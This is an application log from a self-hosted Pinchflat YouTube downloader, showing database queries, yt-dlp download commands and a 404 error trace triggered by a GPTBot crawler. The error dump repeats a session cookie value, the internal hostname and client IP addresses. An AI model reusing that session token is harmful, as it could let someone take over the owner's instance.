source="settings" db=0.0ms idle=102.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:21:10.165 [debug] QUERY OK source="settings" db=0.0ms idle=102.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:21:10.165 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=oaOG1xOk7XY --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/78/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/56/9e/569eba6d2226588c8b5ccfad161221766f8ae7cfbfb1a4a025f5766a4569e5c1.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:21:13.527 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=oaOG1xOk7XY --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/78/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/56/9e/569eba6d2226588c8b5ccfad161221766f8ae7cfbfb1a4a025f5766a4569e5c1.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:21:13.527 [debug] QUERY OK db=0.0ms idle=1464.9ms begin [] 22:21:13.527 [debug] QUERY OK source="media_items" db=0.1ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "subtitle_filepaths" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 02:21:10Z], "/downloads/TADC/2025-12-12 THE AMAZING DIGITAL CIRCUS - Ep 7: Beach Episode/THE AMAZING DIGITAL CIRCUS - Ep 7: Beach Episode [oaOG1xOk7XY].mp4", [["en", "/downloads/TADC/2025-12-12 THE AMAZING DIGITAL CIRCUS - Ep 7: Beach Episode/THE AMAZING DIGITAL CIRCUS - Ep 7: Beach Episode [oaOG1xOk7XY].en.vtt"]], ~U[2026-03-28 02:21:13Z], 78] 22:21:13.527 [debug] QUERY OK source="media_metadata" db=0.1ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/78/metadata.json.gz", "/config/metadata/media_items/78/thumbnail.jpg", 78, ~U[2026-03-28 02:21:13Z], ~U[2026-03-28 02:21:13Z]] 22:21:13.527 [debug] QUERY OK db=0.0ms commit [] 22:21:13.535 [debug] QUERY OK source="media_items" db=0.2ms idle=1472.7ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [634781146, ~U[2026-03-28 02:21:13Z], 78] 22:21:13.535 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:21:13.535 [info] {"args":{"id":78},"id":83,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":183463019,"event":"job:stop","queue_time":5363072336,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:21:13.536 [debug] QUERY OK source="tasks" db=0.3ms idle=1473.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:21:13.536 [debug] QUERY OK source="tasks" db=0.4ms idle=754.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:21:13.536 [debug] QUERY OK source="media_items" db=0.1ms idle=8.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [86] 22:21:13.536 [debug] QUERY OK source="media_items" db=0.1ms idle=0.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [86] 22:21:13.541 [info] {"args":{"id":87},"id":86,"meta":{},"system_time":1774664473541645690,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:21:13.542 [debug] QUERY OK source="media_items" db=0.2ms idle=5.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [87] 22:21:13.542 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:21:13.542 [debug] QUERY OK source="tasks" db=0.3ms idle=5.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:21:13.542 [debug] QUERY OK source="tasks" db=0.4ms idle=5.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:21:13.542 [debug] QUERY OK source="sources" db=0.1ms idle=5.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:21:13.542 [debug] QUERY OK source="media_items" db=0.3ms idle=0.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [86, 87] 22:21:13.542 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:21:13.542 [debug] QUERY OK source="media_items" db=0.4ms idle=0.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [86, 87] 22:21:13.543 [debug] QUERY OK source="media_items" db=0.2ms idle=0.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [87] 22:21:13.543 [debug] QUERY OK source="media_metadata" db=0.0ms idle=1.0ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [87] 22:21:13.543 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:21:13.543 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:21:13.543 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:21:13.544 [debug] Running yt-dlp command for action: get_downloadable_status 22:21:13.544 [debug] QUERY OK source="settings" db=0.0ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:21:13.544 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:21:13.544 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:21:13.544 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=8hrgGfOf49g --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/71/b5/71b5da3519fdc4ddcebd2a471b6e96fcf340f97c8bdc411c09bde557954faa12.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:21:16.085 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=8hrgGfOf49g --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/71/b5/71b5da3519fdc4ddcebd2a471b6e96fcf340f97c8bdc411c09bde557954faa12.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:21:16.085 [debug] Running yt-dlp command for action: download 22:21:16.085 [debug] QUERY OK source="settings" db=0.0ms idle=1023.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:21:16.085 [debug] QUERY OK source="settings" db=0.0ms idle=1023.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:21:16.085 [debug] QUERY OK source="settings" db=0.0ms idle=1023.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:21:16.085 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=8hrgGfOf49g --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/3b/d3/3bd35a3ba1289931967ab345382f0639d4bb3e0a754577e976f482822c982eb1.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:21:28.874 [info] {"source":"oban","duration":1048,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:21:45.706 [info] GET /sources/1/media/112/force_download 22:21:45.707 [debug] QUERY OK source="settings" db=0.1ms idle=1644.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:21:45.707 [debug] QUERY OK source="settings" db=0.1ms idle=1645.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:21:45.708 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 22:21:45.708 [error] #PID<0.4716.0> running PinchflatWeb.Endpoint (connection #PID<0.4715.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /sources/1/media/112/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/112/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4715.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/112/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 43944}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSVZWMS1Cbk0zb1ZzcEtiU0ctT1JqdUFj.PWgD0xPlKglH5482ROhDK9IayyN42_XZTpP6Mw9gTYU", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/1/media/112", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSVZWMS1Cbk0zb1ZzcEtiU0ctT1JqdUFj.PWgD0xPlKglH5482ROhDK9IayyN42_XZTpP6Mw9gTYU" }, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.4716.0>, params: %{}, path_info: ["sources", "1", "media", "112", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSVZWMS1Cbk0zb1ZzcEtiU0ctT1JqdUFj.PWgD0xPlKglH5482ROhDK9IayyN42_XZTpP6Mw9gTYU" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"connection", "close"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSVZWMS1Cbk0zb1ZzcEtiU0ctT1JqdUFj.PWgD0xPlKglH5482ROhDK9IayyN42_XZTpP6Mw9gTYU"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.internal.ubrown.me"}, {"referer", "https://pinchflat.internal.ubrown.me/sources/1/media/112"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.241.48"}, {"x-forwarded-proto", "https"}, {"x-openai-host-hash", "372783186"}, {"x-real-ip", "74.7.241.48"} ], request_path: "/sources/1/media/112/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDf9yInuQcx8f4AATIC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4715.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/112/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 43944}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSVZWMS1Cbk0zb1ZzcEtiU0ctT1JqdUFj.PWgD0xPlKglH5482ROhDK9IayyN42_XZTpP6Mw9gTYU", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/1/media/112", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/112/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4715.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/112/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 43944}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSVZWMS1Cbk0zb1ZzcEtiU0ctT1JqdUFj.PWgD0xPlKglH5482ROhDK9IayyN42_XZTpP6Mw9gTYU", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/1/media/112", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", bo (truncated) 22:21:58.876 [info] {"source":"oban","duration":492,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:22:00.549 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=DMNlzf8PiEM --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/TADC/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/e3/a0/e3a0ddc6d9b2544d63e65d3175b17d0c4dc10ccdaeba0aeabc25f11d4253b443.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:22:00.565 [debug] Running yt-dlp command for action: download_thumbnail 22:22:00.565 [debug] QUERY OK source="settings" db=0.1ms idle=1503.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:22:00.565 [debug] QUERY OK source="settings" db=0.0ms idle=712.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:22:00.565 [debug] QUERY OK source="settings" db=0.0ms idle=503.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:22:00.566 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=DMNlzf8PiEM --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/86/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/16/c4/16c427f24915447b8b2c381a4e1920acac7d5e259f508937c0551abc83faf102.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:22:00.659 [info] {"source":"oban","duration":152,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:22:03.958 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=DMNlzf8PiEM --no-simulate --skip-download --write-thumbnail --convert-thumbnail 